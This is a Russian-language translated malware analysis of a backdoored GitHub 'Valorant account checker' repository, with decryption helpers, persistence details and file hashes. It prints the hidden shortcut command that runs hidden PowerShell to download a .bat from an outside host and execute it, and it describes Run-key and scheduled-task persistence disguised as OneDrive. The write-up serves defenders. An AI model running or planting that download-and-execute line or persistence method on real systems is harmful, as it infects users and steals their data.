Анализ вредоносного репозитория Github
Оригинальная статья
Автор перевода tabac
Источник xss.pro
Я наткнулся на внешне вполне доверенный репозиторий Github, в котором был довольно законный проект.
GitHub - Hxaoi/Valorant-Account-Checker: Valorant Checker, Multi-Thread, Account-Checker With Full Capture
Valorant Checker, Multi-Thread, Account-Checker With Full Capture - GitHub - Hxaoi/Valorant-Account-Checker: Valorant Checker, Multi-Thread, Account-Checker With Full Capture
На момент написания у него 143 звезды и 54 форка, так что выглядит правдоподобно, но если присмотреться к звездам и форкам:
Все они с фейковых аккаунтов, созданных практически в один день. Присмотревшись к другим репозиториям в этой учетной записи, есть еще один, который также имеет бэкдор:
GitHub - Hxaoi/Twitter-Cracker: high speed twitter cracker
high speed twitter cracker. Contribute to Hxaoi/Twitter-Cracker development by creating an account on GitHub.
Смотрим на код репозитория
Код представляет собой python и имитирует проверку учетной записи для онлайн-игры (Valorant).Взглянув на код, выскакивает строка:
Код:
os.system("start results/save.lnk")
Проверив этот ярлык, мы можем увидеть его цель:
Код:
%comspec% /C %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri https://x0.at/18v6.bat -OutFile $env:TEMP\18v6.bat;Start-Process $env:TEMP\18v6.bat
.bat с https://x0.at/18v6.bat, сохраняет его во временной папке, а затем запускает.Анализ малвари
.bat файл массивный, размером аж 36mb.
В верхней части файла большой кусок base64, мы можем предположить, что это, вероятно, будет наш пейлоад, в конце файла мы видим интересный код:
После удаления некоторых повторяющихся слов мы можем сделать что-то вроде этого:
Кажется, что большой блок base64 зашифрован с использованием AES и сжат, проверив этот код, мы можем отменить процесс, поскольку у нас есть KEY и IV для расшифровки данных. Поэтому я написал небольшой скрипт powershell, чтобы расшифровать его, распаковать, а затем сохранить на диск:
Код:
$XseZ='ReadLines';
$yJyL='Load';
$uZpI='GetCurrentProcess';
$dzbX='EntryPoint';
$tPqE='MainModule';
$waZb='FromBase64String';
$XmvD='TransformFinalBlock';
$ENIy='Split';
$gMuk='ElementAt';
$LLuy='CreateDecryptor';
$QCYT='ChangeExtension';
function oaFag($rKNRV){
$Fneio=[System.Security.Cryptography.Aes]::Create();
$Fneio.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$Fneio.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$Fneio.Key=[System.Convert]::$waZb('DoI1GdINO/odI9JOThyl7401RvkgTfoAX8MQMw24HoM=');
$Fneio.IV=[System.Convert]::$waZb('LTCc2yyupcYae/wYTpkiyw==');
$mQSLR=$Fneio.CreateDecryptor();
$ooztA=$mQSLR.$XmvD($rKNRV,0,$rKNRV.Length);
$mQSLR.Dispose();
$Fneio.Dispose();
$ooztA;
}
function tryNE($rKNRV){
$fRenP=New-Object System.IO.MemoryStream(,$rKNRV);
$zUkbv=New-Object System.IO.MemoryStream;
$gjVsO=New-Object System.IO.Compression.GZipStream($fRenP,[IO.Compression.CompressionMode]::Decompress);
$gjVsO.CopyTo($zUkbv);$gjVsO.Dispose();
$fRenP.Dispose();
$zUkbv.Dispose();
$zUkbv.ToArray();
}
$c = Get-Content -Path "C:\Users\windows10\Downloads\code.txt"
$wlBSz=$c.$ENIy(':');
$gRTVe=tryNE(oaFag ([Convert]::$waZb($wlBSz[0])));
$iRgKa=tryNE(oaFag ([Convert]::$waZb($wlBSz[1])));
[io.file]::WriteAllBytes('C:\Users\windows10\Downloads\f1.bin',$gRTVe);
[io.file]::WriteAllBytes('C:\Users\windows10\Downloads\f2.bin',$iRgKa);
Я начну с просмотра большего файла (27 МБ), и с самого начала мы видим, что он сильно обфусцирован:
Малваря деобфускирует строки следующим образом:
При этом мы можем создать собственный вспомогательный метод для деобфускации строк вне кода:
Код:
static string Get(string A_0, int A_1, int A_2, int A_3, int A_4, int A_5)
{
int num = 78787870;
if ((-1743288475 ^ 461882411) == -2087697586)
{
int num2 = num + sizeof(ulong);
}
StringBuilder stringBuilder = new StringBuilder();
foreach (char c in A_0.ToCharArray())
{
stringBuilder.Append((char)((int)c - A_2));
}
return stringBuilder.ToString();
}
static void Main(string[] args)
{
Console.WriteLine(Get("", 421592687, -785059054, 1005452607, 940660616, -1106098698));
Console.ReadLine();
}
После нескольких часов деобфускации кода я сделал его немного чище и попытался сопоставить имена с поведением:
Эта вредоносная программа больше действует как дроппер, но она добавит исключения в Windows Defender.
Малваря поместит 2 файла в папку
Application Data, один с именем OnwbaDTzzU.cmd, а другой с именем OnwbaDTzzU.vbs.Если вредоносная программа запускается от имени администратора, она создает задачу планировщика с именем
OneDrive OnwbaDTzzU, в противном случае она создает раздел реестра с именем OneDrive OnwbaDTzzU в папке Software\Microsoft\Windows\CurrentVersion\Run, указывающий на файл OnwbaDTzzU.vbs.
Это добавляет стойкости и загружает больше дополнительной малвари, которую мы также рассмотрим ниже.
Рассматриваем дополнительную дропнутую malware
Прежде чем я смогу взглянуть на ресурсы, я создаю небольшой вспомогательный метод для распаковки ресурсов:
Код:
private static byte[] DecompressGzip(byte[] byteArr)
{
MemoryStream memoryStream = new MemoryStream(byteArr);
MemoryStream memoryStream2 = new MemoryStream();
Stream stream = memoryStream;
GZipStream gzipStream = new GZipStream(stream, CompressionMode.Decompress);
gzipStream.CopyTo(memoryStream2);
gzipStream.Dispose();
memoryStream2.Dispose();
memoryStream.Dispose();
return memoryStream2.ToArray();
}
P, мы видим, что это сборка .NET и содержит интересный код, на этот раз не обфусцированный.
Код значительно меньше, поэтому нам проще в нем разобраться, смотрим на
Assembly.Load().Метод
Fat определяет поток памяти, который затем распаковывается и возвращается в Assembly.Load().
Поскольку мы не можем видеть полное содержимое memorystream на dnspy, я немного изменяю код, чтобы сохранить его на диск, а не загружать сборку.
Это дает нам очень обфусцированную .NET DLL.
Я извлек еще одну DLL, которая была спрятана таким же образом, но не анализировал ее.
Еще немного информации о других бинарниках:
WorldOfMythia.exe, кажется, заражает инсталляторы Discord, но я не исследовал его.
Заключение
Это очень разрушительная малваря, включает в себя стилер, инфектор Discord и даже крипто-майнер.У меня не было времени анализировать каждый бинарник, так как их много, но я загрузил их все на вирустотал и оставил соответствующие хэши ниже.
Хотя я не стал вдаваться в детали анализа, я надеюсь, что кто-то проанализирует бинарные файлы, которые не стал анализировать я.
Индикаторы
| Hash | Assembly |
|---|---|
| 585ac7894d8146341ae408121c31ea0f95936e3719683c862a0ec2db2caccb0a | WorldOfMythia.exe |
| 34f06a471d1329d2543c5b4df7e2346582279e7789bab518ee9ffc18a6eadf4d | UAC.bin |
| 35093cf30e63d1eb7bc8b7cfb39dea2a7f0beb7778a1939b66f0e55910f3da01 | Xmihuj.exe |
| f5f25e5e5bc5b827257f0d7f78e2e2f1f6c3cab71dad38d69598055d706e9fee | Qjctluhw.dll |
| 661bca19ee42e61b481a5499cad2f5858940b7cef33dae924cec013dc939da7b | Aeodr.dll |
| 1ad4dc2d3c32c156d98e049133dfdc096a6667932613dce21d8f4f659fee5fd4 | 18v6.bat |
| 54512dd064c21154462ada0523c7ca88f23ade0313f17b4c7136554fad669fd9 | Uqqjl.exe |
| c978dfd73d3c988caa02b70a29eed369709c147066270c2a29c72acc83670b16 | WxpLuq.tmp |
| b581309a29cee0fd4a681982688b998178dd5a81bb97d99deb5a2bace6d1dbc5 | Lewfoa.tmp |
